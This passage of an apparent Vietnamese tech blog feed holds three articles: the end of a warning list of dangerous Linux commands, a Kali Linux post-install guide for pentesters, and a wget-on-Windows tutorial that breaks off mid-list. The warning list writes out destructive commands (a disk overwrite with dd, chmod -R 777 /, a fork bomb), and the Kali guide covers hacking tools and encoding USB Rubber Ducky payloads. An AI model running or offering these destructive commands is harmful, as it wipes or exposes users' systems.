<p>Lệnh này là một cao dao hai lưỡi. Mặc dù nó giúp bạn không phải gõ lại tất cả lệnh trước đó và thực thi nó dễ dàng hơn, nhưng nó cũng có thể truyền nội dung độc hại vào lệnh đã chạy trước đó của bạn. Do đó, bạn cần cân nhắc sử dụng lệnh này.</p>
<pre>^foo^bar</pre>
<h3>9. Ghi dữ liệu ngẫu nhiên vào ổ cứng</h3>
<p>Nếu bạn đã từng gặp lệnh dưới, thì xin chúc mừng, bạn cũng có thể đã thấy dữ liệu ngẫu nhiên được ghi vào ổ cứng của mình nếu bạn đủ điên để thực hiện lệnh này. Hậu quả của lệnh này là hệ thống của bạn sẽ không được phục hồi.</p>
<pre>dd if=/dev/random of=/dev/sda</pre>
<h3>10. Chmod -R 777 /</h3>
<p>Lệnh này không ảnh hưởng hệ thống của bạn về mặt vật lý như tất cả các lệnh khác nhưng lệnh này dẫn đến vi phạm bảo mật trên hệ thống. Bằng cách thực hiện lệnh này, bạn đang cung cấp cho tất cả người dùng của hệ thống khả năng đọc, ghi và thực thi dữ liệu trên hệ thống tệp của bạn. Do đó, hãy sử dụng lệnh này một cách khôn ngoan.</p>
<p>Mình hy vọng các lệnh linux chết người này sẽ giúp bạn không bị mất dữ liệu của mình. Ngoài ra, bạn cũng có thể xem hêm các lệnh cmd nguy hiểm <a href="https://anonyviet.com/cac-lenh-nguy-hiem-nhat-tren-windows-ban-khong-nen-dung/">tại đây.</a></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể khôi phục dữ liệu sau khi sử dụng lệnh `rm -rf` không?</h3>
<p>Không, dữ liệu bị xóa bởi lệnh <code>rm -rf</code> thường không thể khôi phục được.  Lệnh này xóa dữ liệu một cách vĩnh viễn.</p>
<h3>Lệnh &#8220;fork bomb&#8221; (`(){:|:&#038;};:`) hoạt động như thế nào và tại sao nó nguy hiểm?</h3>
<p>Lệnh này tạo ra nhiều tiến trình con, tiêu thụ tài nguyên hệ thống (CPU và bộ nhớ) một cách nhanh chóng, dẫn đến hệ thống bị treo hoặc sập.</p>
<h3>Có cách nào để bảo vệ mình khỏi các lệnh Linux nguy hiểm không?</h3>
<p>Hãy chắc chắn rằng bạn hiểu rõ cách hoạt động của một lệnh trước khi thực hiện.  Luôn sao lưu dữ liệu quan trọng và tránh thực hiện các lệnh có thể xóa hoặc ghi đè dữ liệu mà không có sự hiểu biết đầy đủ.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/10-lenh-linux-nguy-hiem-ban-khong-nen-chay-thu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>10 việc cần làm sau khi cài đặt Kali Linux để phục vụ Hacker</title>
		<link>https://anonyviet.com/10-viec-can-lam-sau-khi-cai-dat-kali-linux/</link>
					<comments>https://anonyviet.com/10-viec-can-lam-sau-khi-cai-dat-kali-linux/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 07 Jul 2020 01:16:22 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[hệ điều hành]]></category>
		<category><![CDATA[kali linux]]></category>
		<category><![CDATA[lệnh]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=20527</guid>

					<description><![CDATA[Theo mặc định, Kali Linux có thể không kèm đầy đủ mọi thứ bạn cần để giúp bạn pentest (kiểm tra bảo mật) hàng ngày một cách dễ dàng. Với một 10 bước sau đây, chúng ta có thể bắt đầu sử dụng Kali Linux như một hacker mũ trắng chuyên nghiệp. Hầu hết các [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Theo mặc định, <a href="https://anonyviet.com/huong-dan-cai-dat-kali-linux-2020-va-kham-pha-cac-tinh-nang-moi/">Kali Linux</a> có thể không kèm đầy đủ mọi thứ bạn cần để giúp bạn pentest (kiểm tra bảo mật) hàng ngày một cách dễ dàng. Với một 10 bước sau đây, chúng ta có thể bắt đầu sử dụng Kali Linux như một <a href="https://anonyviet.com/?s=hacker+m%C5%A9+tr%E1%BA%AFng" target="_blank" rel="noopener noreferrer">hacker mũ trắng</a> chuyên nghiệp.</strong></p>
<p>Hầu hết các bản phân phối Linux đều có khả năng tuỳ biến cao. Điều này làm cho việc cá nhân hoá môi trường pentest có chút khó khăn. Chỉ với một vài dòng lệnh, mình có thể tự động hoá các tác vụ, cài đặt phần mềm yêu thích, tạo thêm tài khoản người dùng, cấu hình các phần mềm ẩn danh và tối ưu hoá các tương tới của bạn với các thiết bị đầu cuối. Chỉ có một vài điều mà chúng ta có thể làm để cải thiện sự tương tác với hệ điều hành. Hãy tham khảo 10 việc cần làm sau khi cài xong Kai Linux nhé.</p>
<div class="jeg_video_container jeg_video_content"><iframe loading="lazy" title="The Top 10 Things to Do After Installing Kali Linux on Your Computer [Tutorial]" width="500" height="281" src="https://www.youtube.com/embed/8VL0K0rFgxw?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<h2>Cài đặt Git</h2>
<p><a href="https://git-scm.com/" target="_blank" rel="noopener">Git</a> là ứng dụng kiểm soát phần mềm mã nguồn mở. Nó có thể được sử dụng để chia sẻ và chỉnh sửa mã cộng tác (mã nguồn được chia sẻ cho nhiều người dùng chung trong team hoặc công ty). Git là công cụ phải có cho những pentester (những người kiểm thử bảo mật) đang tìm cách mở rộng bộ công cụ của họ ngoài những gì có sẵn trong kho Kali mặc định.</p>
<p>Bạn có thể cài đặt git bằng lệnh <strong>apt-get</strong>.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get install git</code></span></pre>
<h2>Cấu hình Bash</h2>
<p>Bash là giải pháp tuyệt vời để tạo các shortcut lệnh. Ví dụ: chúng ta có thể gán lại lệnh <strong>ls</strong> để tự động sử dụng các arguments yêu thích của bạn. Dưới đây là ví dụ về <strong>ls</strong> bình thường.</p>
<p><span style="font-size: 14pt;"><code class="language-unknown">ls<br />
androidbins.txt    folder-pictures.png  smtp.cracked  text-x-generic.png<br />
bogus_gmail.creds  folder.png           smtp.list     Windows-10<br />
dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39   package-x-generic.png   text-x-generic.ico  'Windows 10 Icons'<br />
</code></span></p>
<p>Và đây là <strong>ls</strong> sau khi đã chỉnh sửa lại bash.</p>
<p><span style="font-size: 14pt;"><code class="language-unknown">ls<br />
</code></span></p>
<p><span style="font-size: 14pt;"><code class="language-unknown">total 220K<br />
-rw-------  1 root root  15K Aug 24  2015  folder-pictures.png<br />
-rw-------  1 root root 8.7K Aug 24  2015  folder.png<br />
-rw-------  1 root root  11K Aug 24  2015  package-x-generic.png<br />
-rw-------  1 root root 5.5K Sep  3  2015  text-x-generic.png<br />
drwxr-xr-x 12 root root 4.0K May 31 00:44 'Windows 10 Icons'/<br />
drwxr-xr-x 18 root root 4.0K May 31 00:44  Windows-10/<br />
-rwxr-x---  1 root root 103K May 31 00:49  text-x-generic.ico*<br />
drwxr-xr-x  5 root root 4.0K Jun 11 21:57  dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/<br />
-rw-r--r--  1 root root   52 Jul  5 18:13  bogus_gmail.creds<br />
-rw-r--r--  1 root root  15K Jul  5 18:28  smtp.list<br />
-rw-r--r--  1 root root  181 Jul  5 18:43  smtp.cracked<br />
-rw-r--r--  1 root root  23K Jul 23 18:18  androidbins.txt<br />
drwxr-xr-x  5 root root 4.0K Jul 23 19:22  ./<br />
drwxr-xr-x 23 root root 4.0K Aug  9 04:25  ../</code></span></p>
<p>Chúng ta nhận được kết quả nhiều hơn. Lệnh ls hiện đang được sử dụng các arguments <strong>-l</strong>, <strong>-a</strong>, <strong>-t</strong>, <strong>-h</strong> và <strong>-r</strong> hoàn toàn tự động. Tất cả các arguments sẽ làm cho <strong>ls </strong>sử dụng định dạng liệt kê (<strong>-l</strong>), liệt kê tất cả (<strong>-a</strong>) &#8211; bao gồm các tệp ẩn và in kích thước tệp ở định dạng (<strong>-h</strong>).</p>
<p>Bash cũng sẽ sắp xếp đầu ra theo thời gian sửa đổi <strong>(-t) </strong>và đảo ngược <strong>(-r) </strong>thứ tự trọng danh sách để các tệp được sửa đổi gần đây xuất hiện ở dưới cùng của terminal. Bộ sưu tập arguments là sở thích của tác giả, nhưng bạn cũng có thể sử dụng nó.</p>
<p>Để tạo bash, hãy mở /root/.bash_aliases bằng <strong>nano </strong>hoặc các text editor yêu thích của bạn. Sau đó, nhập dòng lệnh sau:</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">alias ls='ls --color=always -rthla'</code></span></pre>
<p>Chúng ta cũng có thể đi xa hơn một chút và thêm các hàm phức tạp hơn vào tệp <strong>.bash_aliases</strong>. Dưới đây là một ví dụ đơn giản về một hàm được thiết kế để giữ cho Kali luôn được cập nhật đầy đủ.</p>
<pre class="syntax-highlighted"><code class="language-unknown"><span style="font-size: 14pt;">function apt-updater {
	apt-get update &amp;&amp;
	apt-get dist-upgrade -Vy &amp;&amp;
	apt-get autoremove -y &amp;&amp;
	apt-get autoclean &amp;&amp;
	apt-get clean &amp;&amp;
	reboot</span>
	}</code></pre>
<p>Sau khi lưu file <strong>.bash_aliases</strong>, hãy mở một têrminal mới để các thay đổi có hiệu lực. Chạy hàm <strong>apt-updater</strong> sẽ gọi một loạt các lênh <strong>apt-get </strong>tự động cập nhật và duy trì hệ thống của bạn. Các ký hiệu <strong>(&amp;&amp;) </strong>đảm bảo rằng hàm sẽ không tiếp tục chạy nếu lệnh trước không thành công.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-updater</code></span></pre>
<h2>Tạo người dùng cấp thấp mới</h2>
<p>Nhiều ứng dụng như Chromium Browser và Tor Browser nên không bao giờ được mở hoặc sử dụng người dùng root. Các ứng dụng như vậy phụ thuộc rất nhiều vào các quyền cấp thấp để cung cấp mức độ bảo mật. Một số người dùng có thể có lợi khi tạo tài khoản người dùng cấp thấp cho các hoạt động đó.</p>
<h2>Cài đặt Terminal Multiplexer</h2>
<p><strong>Multiplexer</strong> là trình giả lập terminal cho phép chúng ta mở một số mở một số seasion trong một cửa sổ duy nhất. Lợi ích chính của việc này là bạn có thể thấy tất cả các seasion của terminal mà không cần phải Alt + Tab để chuyển qua lại giữa các terminal nữa.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/07/37.jpg" alt="10 việc cần làm sau khi cài đặt Kali Linux" width="1092" height="558" title="10 việc cần làm sau khi cài đặt Kali Linux để phục vụ Hacker 7"></p>
<p>Có rất nhiều trình giả lập terminal tốt. Nhưng Tilix, như đã thấy trên ảnh, là một tuỳ chọn mã nguồn mở đáng tin cậy. Bạn cũng có thể chọn các phần mềm khác như <a href="https://github.com/gnunn1/tilix" target="_blank" rel="noopener">tmux </a>và <a href="https://savannah.gnu.org/projects/screen" target="_blank" rel="noopener">screen</a>.</p>
<p>Tilix có sẵn trong kho ứng dụng APT và có thể được cài đặt bằng lệnh dưới đây.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">sudo apt-get install tilix</code></span></pre>
<h2>Cài đặt các công cụ hack yêu thích của bạn</h2>
<p>Một số phiên bản Kali phục vụ các pentester tối giản, những người không muốn hàng trăm công cụ hack được cài đặt sẵn. Các loại công cụ mà mình sử dụng dựa trên kỹ năng và lĩnh vực chuyên môn. Dưới dây là một số công cụ hack phổ biến.</p>
<ul>
<li><a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener">Aircrack-ng</a>: Công cụ bẻ khoá WEP/WPA không dây.</li>
<li><a href="https://www.concise-courses.com/hacking-tools/vulnerability-exploitation-tools/beef/" target="_blank" rel="noopener">BeEF</a>: Framework khai thác trình duyệt thông qua các ứng dụng web.</li>
<li><a href="https://portswigger.net/burp/" target="_blank" rel="noopener">Burp Suite</a>: Ứng dụng đồ hoạ được thiết kể để bảo mật web.</li>
<li><a href="https://github.com/vanhauser-thc/thc-hydra" target="_blank" rel="noopener">Hydra</a>: Tiện ích đăng nhập password bằng brute-forcing.</li>
<li><a href="https://cirt.net/Nikto2" target="_blank" rel="noopener">Nikto</a>: Quét bảo mật web server.</li>
<li><a href="https://www.paterva.com/web7/" target="_blank" rel="noopener">Maltego</a>: Công cụ thu thập thông tin mã nguồn mở.</li>
<li><a href="https://nmap.org/" target="_blank" rel="noopener">Nmap</a>: Quét port và network map.</li>
<li><a href="https://www.wireshark.org/download.html" target="_blank" rel="noopener">Wireshark</a>: Ứng dụng đồ hoạ phân tích lưu lượng mạng.</li>
</ul>
<p>Những công cụ này có thể được cài đặt bằng lệnh sau:</p>
<p><span style="font-size: 14pt;"><code class="language-unknown">sudo apt-get install maltego metasploit-framework burpsuite wireshark aircrack-ng hydra nmap beef-xss nikto</code></span></p>
<h2>Cài đặt Tor</h2>
<p><a href="https://null-byte.wonderhowto.com/how-to/tor/" target="_blank" rel="noopener">Tor</a> có sẵn trong kho ứng dụng của Kali, nhưng phần mềm ẩn danh này nên được tải trực tiếp từ trang chủ. Hơn nữa, phiên bản Tor của Kali không được cập nhật và nó cũng không đáng tin cậy. Điều này có nghĩa là chúng ta có thể thiếu các bản cập nhật ổn định và bảo mật quan trọng.</p>
<p>Thêm Tor vào danh sách các ứng dụng trong kho APT.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">echo 'deb https://deb.torproject.org/torproject.org stretch main
deb-src https://deb.torproject.org/torproject.org stretch main' &gt; /etc/apt/sources.list.d/tor.list</code></span></pre>
<p>Sau đó, tải xuống package Tor Project và add key vào APT.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add -</code></span></pre>
<p>Bạn sẽ thấy chữ &#8220;OK&#8221; khi bạn thêm key thành công. Tiếp theo, cập nhật APT bằng lệnh apt-get.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get update</code></span></pre>
<p>Cuối cùng, cài đặt Tor bằng lệnh dưới.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get install tor deb.torproject.org-keyring</code></span></pre>
<h2>Cấu hình File Sharing với Syncthing</h2>
<p><a href="https://github.com/syncthing/syncthing" target="_blank" rel="noopener">Syncthing</a>, được tạo bởi <a href="https://twitter.com/jakobborg" target="_blank" rel="noopener">Jakob Borg</a>, là một sự thay thế hoàn hảo cho các ứng dụng đồng bộ hoá tập tin (Dropbox) bởi vì nó đa nền tảng, bảo mật riêng tư, và rất nhẹ. Là pentester, việc chuyển các ảnh chụp màn hình, các video webcam, và các tập tin nhạy cảm giữa các server ảo và các máy Kali cục bộ có thể là một vấn đề lớn đấy. Lúc này, chúng ta sẽ cần Syncthing để chia sẻ các tập tin an toàn mà không lo về quyền riêng tư.</p>
<p>Các cài đặt Syncthing.</p>
<ol>
<li>Cài đặt <strong>apt-transport-https</strong>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get update &amp;&amp; apt-get install apt-transport-https -V</code></span></pre>
</li>
<li>Sau đó nhập key PGP.
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">curl -s https://syncthing.net/release-key.txt | sudo apt-key add -</code></span></pre>
</li>
<li>Thêm Syncthing vào APT bằng lệnh <strong>echo</strong>.
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">echo 'deb https://apt.syncthing.net/ syncthing stable' &gt;&gt; /etc/apt/sources.list</code></span></pre>
</li>
<li>Trong kho Kali có một phiên bản cũ hơn của Syncthing. Để đảm bảo package vừa tải về được cài đặt, hãy tạo Pin-Priority trong đường dẫn /etc/apt/preferences.d/. Copy đoạn lệnh dưới và nhấn Enter.
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">echo 'Package: *
Pin: origin apt.syncthing.net
Pin-Priority: 1001' &gt; /etc/apt/preferences.d/syncthing</code></span></pre>
</li>
<li>Cuối cùng, cập nhật APT và cài đặt Syncthing.
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get update &amp;&amp; apt-get install syncthing</code></span></pre>
</li>
</ol>
<p>Để biết thêm về cách sử dụng, hãy đọc <a href="https://null-byte.wonderhowto.com/how-to/securely-sync-files-between-two-machines-using-syncthing-0185999/" target="_blank" rel="noopener">bài viết này</a>.</p>
<h2>Cài đặt trình soạn code</h2>
<p><a href="https://atom.io/" target="_blank" rel="noopener">Atom</a> là trình soạn code miễn phí, mã nguồn mở, nhiều tính năng và khả năng tuỳ biến cao. Các tính năng của nó bao gồm khả năng chia sẽ mã theo thời gian thực (mấy ông nào code thì team thì cái này cực kỳ hay), tự động hoàn thành code và khả năng <a href="https://atom.io/packages" target="_blank" rel="noopener">cài đặt các package</a> giúp tăng tính linh hoạt của Atom. Các trình soạn code đáng chú ý khác bao gồm <a href="https://wiki.geany.org/" target="_blank" rel="noopener">Geany</a> và <a href="https://wiki.gnome.org/Apps/Gedit" target="_blank" rel="noopener">Gedit</a>.</p>
<p>Để cài đặt Atom, hãy truy cập vào trang chủ và tải xuống<a href="https://atom.io/download/deb" target="_blank" rel="noopener"> gói cài đặt Debian</a> mới nhất. Tiếp theo, mở terminal và nhập lệnh bên dưới.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">apt-get install gvfs gvfs-common gvfs-daemons gvfs-libs gconf-service gconf2 gconf2-common gvfs-bin psmisc</code></span></pre>
<p>Cuối cùng, sử dụng lệnh <strong>dpkg</strong> với argument <strong>(-i)</strong>.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">dpkg -i ~/Downloads/atom-amd64.deb</code></span></pre>
<p>Khi cài đặt xong, Atom sẽ có sẵn trong menu ứng dụng của bạn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/07/38.jpg" alt="10 việc cần làm sau khi cài đặt Kali Linux để phục vụ Hacker 2" title="10 việc cần làm sau khi cài đặt Kali Linux để phục vụ Hacker 8"></p>
<h2>Rubber Ducky</h2>
<p><a href="https://null-byte.wonderhowto.com/collection/usb-rubber-ducky/" target="_blank" rel="noopener">USB Rubber Ducky</a> là một công cụ <a href="https://codelearn.io/sharing/giai-thich-cac-khai-niem-ve-injection-trong-software-engineering-dependency-injection-sql-injection-etc" target="_blank" rel="noopener">injection</a> (tiêm mã độc) khét tiếng. Các bạn có thể tạo các <a href="https://null-byte.wonderhowto.com/how-to/use-usb-rubber-ducky-disable-antivirus-software-install-ransomware-0180418/#jump-step2" target="_blank" rel="noopener">payload ducky</a> bằng <a href="https://ducktoolkit.com/" target="_blank" rel="noopener">DuckToolKit</a> rất dễ dàng, nhưng với tư cách là một pentester, việc chia sẻ thông tin khách hàng với các trang web ngẫu nhiên là rất nguy hiểm. Ở đây nói đến việc, upload payload lên các trang web của bên thứ ba.</p>
<p>Thay vào đó, hãy sử dụng <strong>Git</strong> để clone USB Rubber Ducky trong <a href="https://github.com/hak5darren/USB-Rubber-Ducky" target="_blank" rel="noopener">repository</a> và mã hoá payload cục bộ.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">git clone https://github.com/hak5darren/USB-Rubber-Ducky</code></span></pre>
<p>Sau đó, truy cập (dùng lệnh cd) vào đường dẫn USB-Rubber-Ducky/Encoder/ và sử dụng lệnh <strong>java</strong> để bắt đầu <a href="https://www.hak5.org/gear/duck/writing-your-first-usb-rubber-ducky-payload" target="_blank" rel="noopener">mã hoá payload ducky </a>mà không cần đến các trang web của bên thứ ba.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">cd USB-Rubber-Ducky/Encoder/
java -jar encoder.jar -i input_payload.txt -o inject.bin</code></span></pre>
<h2>Thay đổi key SSH và mật khẩu mặc định</h2>
<p>Mật khẩu mặc định cho các phiên bản Kali Linux cũ hơn (dưới 2020.1) là <strong>toor</strong>, còn ở các phiên bản mới nhất là <strong>kali</strong>. Ngoài ra, các key SSH mặc định có thể cho phép kẻ tấn công chặn các liên lạc của bạn khi bạn kiểm soát thứ gì đó như Raspberry Pi thông qua SSH.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">cd /etc/ssh/
dpkg-reconfigure openssh-server</code></span></pre>
<p>Bây giờ, để thay đổi mật khẩu mặc định của Kali, hãy nhập lệnh passwd root, sao đó nhập mật khẩu mới của bạn. Sau đó gõ lại lệnh đó để xác thực. Nếu bạn chưa đăng nhập bằng tài khoản root, bạn sẽ được hỏi mật khẩu hiện tại.</p>
<pre class="syntax-highlighted"><span style="font-size: 14pt;"><code class="language-unknown">passwd root

Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully</code></span></pre>
<p>Còn các bạn thường làm gì sau khi cài Kali Linux xong? Đối với từng lĩnh vực và kinh nghiệm khác nhau sẽ có tuỳ người chọn những phần mềm khác nhau. Riêng mình, sau khi cài đặt Kali là cài đặt Unikey và Visual Studio Code. Còn các bạn?</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi nên cài đặt những phần mềm nào sau khi cài đặt Kali Linux?</h3>
<p>Bạn nên cài đặt Git để quản lý mã nguồn, một terminal multiplexer như Tilix để quản lý nhiều phiên terminal cùng lúc, và các công cụ pentesting phù hợp với nhu cầu và chuyên môn của bạn (ví dụ: Aircrack-ng).</p>
<h3>Làm thế nào để tùy chỉnh môi trường Kali Linux?</h3>
<p>Bạn có thể tùy chỉnh bằng cách chỉnh sửa file <code>/root/.bash_aliases</code> để tạo các alias và hàm tùy chỉnh, giúp tự động hóa các tác vụ và tối ưu hóa dòng lệnh.  Ví dụ, bạn có thể tạo alias cho lệnh <code>ls</code> với các tham số bổ sung.</p>
<h3>Tại sao nên tạo người dùng cấp thấp thay vì luôn sử dụng tài khoản root?</h3>
<p>Sử dụng tài khoản root cho tất cả hoạt động tiềm ẩn nhiều rủi ro bảo mật. Tạo người dùng cấp thấp cho các ứng dụng như trình duyệt giúp hạn chế thiệt hại nếu bị tấn công.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/10-viec-can-lam-sau-khi-cai-dat-kali-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hướng dẫn cài đặt wget trên Windows để Download File giống Linux</title>
		<link>https://anonyviet.com/huong-dan-cai-dat-wget-tren-windows-de-download-file-giong-linux/</link>
					<comments>https://anonyviet.com/huong-dan-cai-dat-wget-tren-windows-de-download-file-giong-linux/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sat, 18 Apr 2020 04:51:28 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[Command Prompt]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[download file]]></category>
		<category><![CDATA[lệnh]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[wget]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=19279</guid>

					<description><![CDATA[wget là một lệnh thông dụng trên Linux dùng để Download File về máy tính với các giao thức khác nhau. wget có mặt ở hầu hết các bản phân phối distro của linux với trình quản lý gói tương ứng của chúng. Nhưng trong windows chúng ta cần tải và cài đặt wget bằng [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>wget là một lệnh thông dụng trên Linux dùng để Download File về máy tính với các giao thức khác nhau. <code>wget</code> có mặt ở hầu hết các bản phân phối distro của linux với trình quản lý gói tương ứng của chúng. Nhưng trong windows chúng ta cần tải và cài đặt <code>wget</code> bằng tay. </strong></p>
<p>Command Prompt (CMD) trong Windows 10 không đủ các tính năng như Termimal trên Linux . Để bù đắp cho những thiếu sót của nó, các công cụ như wget và Cygwin có thể được cài đặt trên Windows để tận dụng tối đa tính năng từ Command Prompt.</p>
<p>Trong hướng dẫn này, AnonyViet sẽ xem cách download, cài đặt và thiết lập <code>wget</code> windows 7, 8, 10, server, v.v &#8230; Để biết thêm thông tin về cách sử dụng wget, hãy xem hướng dẫn sau.</p>
<h2>Cài đặt wget trên Windows để Download File</h2>
<p>Lệnh wget cho phép bạn Download FIle qua giao thức TCP/IP: FTP, HTTP và HTTPS. Nếu bạn là người dùng Linux hoặc Mac, wget đã được tích hợp sẵn trong phiên bản distro chính thức. Thật không may, wget lại không có sẵn trên Windows. Để chạy WGET, bạn cần tải xuống, giải nén và cài đặt thủ công.</p>
<h3>Download wget về Windows</h3>
<h4>Download từ Sourceforge</h4>
<p><strong>Sourceforge</strong> cung cấp hỗ trợ cho rất nhiều dự án mã nguồn mở và miễn phí. <code>wget</code> là một trong số đó. Bạn có thể Download các phiên bản wget trên Windows từ các link sau: <a href="https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/" target="_blank" rel="noopener noreferrer">https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/</a></p>
<h4><strong>Download từ Eternallybored</strong></h4>
<p>Eternallybored.org là một trang web cung cấp các file nhị phân của dự án GNU. Mình khuyến khích nên tải wget từ Eternallybored vì nó có phiên bản x86 và x64, và được cập nhật thường xuyên. Bạn có thể tải về wget từ các liên kết sau:</p>
<p><a href="https://eternallybored.org/misc/wget/" target="_blank" rel="noopener noreferrer">https://eternallybored.org/misc/wget/</a></p>
<h2>Cài đặt wget trên Windows</h2>
<p>Hiện wget hổ trợ cả trên Windows 7 đến Windows 10, do đó tương thích với hệ điều thành mới nhất. Sau khi tải file wget về, bạn sẽ có được file wget.exe.</p>
<p>Bây giờ chúng ta sẽ tạo thư mục <strong>wget</strong> đặt nó nằm trong đường dẫn: <code>C:\Program Files\</code></p>
<p>Như vậy chúng ta sẽ có được dẫn là <code>C:\Program Files\wget</code></p>
<p>Bây giờ hãy copy file <code>wget.exe</code> vào thư mục <code>C:\Program Files\wget</code></p>
<p>Tiếp theo, bạn cần thêm đường dẫn của wget.exe vào biến môi trường trên Windows. Điều này sẽ thêm đường dẫn file wget đường đến biến PATH được sử dụng để xác định vị trí của file wget. Mỗi lần gọi lệnh wget chỉ cần gõ wget mà không cần phải gõ cả đường dẫn <code>C:\Program Files\wget\wget.exe</code>. Bạn thực hiện như sau:</p>
<p>Click phải chuột vào<strong> This Computer</strong> chọn <strong>Properties </strong>chọn <strong>Advenced System Settings </strong>-&gt;<strong> Advanced </strong>-&gt; <strong>Environment Variables </strong>-&gt; <strong> System variable.</strong></p>
<p>Nhìn xuống dưới tìm dòng <strong>path -&gt; Edit -&gt; New </strong>gõ đường dẫn <code>C:\Program Files\wget</code></p>
<p>chọn <strong>OK</strong></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/04/tao-bien-moi-truong-1.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/04/tao-bien-moi-truong-1.jpg" alt="tạo path cho wget trên windows" width="928" height="388" title="Hướng dẫn cài đặt wget trên Windows để Download File giống Linux 12"></a></p>
<p>Bây giờ bạn mở CMD quyền administrator lên gõ lệnh wget, nếu thấy thông báo wget: missing URL là thành công.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/04/wget-windows.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/04/wget-windows.jpg" alt="cài đặt và sử dụng wget trên windows" width="351" height="126" title="Hướng dẫn cài đặt wget trên Windows để Download File giống Linux 13"></a></p>
<p>Bây giờ thử Download file có direct link bằng wget. Lệnh download bằng wget trên Windows là</p>
<p><code>wget địa-chỉ-link-cần-download</code></p>
<p><strong>Ví dụ</strong> bạn muốn tải file iso của kali linux bằng wget thì gõ lệnh</p>
<p><code>wget https://cdimage.kali.org/kali-2020.1b/kali-linux-2020.1b-installer-amd64.iso</code></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/04/install-wget-download-windows-1.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/04/install-wget-download-windows-1.jpg" alt="cách install và dùng wget trên windows" width="587" height="330" title="Hướng dẫn cài đặt wget trên Windows để Download File giống Linux 14"></a></p>
<p>Như vậy chúng ta đã có thể dùng lệnh wget của linux trên Windows một cách nhanh chóng.</p>
<h2>Cách sử dụng lệnh wget</h2>
<p>wget có khá nhiều thuộc tính, thông thường chúng ta chỉ sử dụng wget trên windows để tải 1 file nào đó. Nhưng bạn chưa biết wget còn có khá nhiều tính năng hay ho như Download cả Website. Dưới đây là một số lệnh wget trên Windows giúp bạn tiết kiệm thời gian để Download File:</p>
<p><strong>DOWNLOAD MỘT TẬP TIN DUY NHẤT</strong></p>
<p><code>wget http://website.com/file.zip</code></p>
<p><strong>DOWNLOAD MỘT TỆP DUY NHẤT NHƯNG LƯU THÀNH TÊN KHÁC</strong></p>
<p><code>wget ‐‐output-document=newname.html website.com</code></p>
<p><strong>DOWNLOAD MỘT THƯ MỤC CỤ THỂ</strong></p>
<p><code>wget ‐‐directory-prefix=folder/subfolder website.com/file.zip</code></p>
<p><strong>TIẾP TỤC DOWNLOAD FILE TRƯỚC ĐÓ BỊ GIÁN ĐOẠN</strong></p>
<p><code>wget ‐‐continue website.com /file.zip</code></p>
<p><strong>DOWNLOAD PHIÊN BẢN MỚI HƠN CỦA TỆP</strong></p>
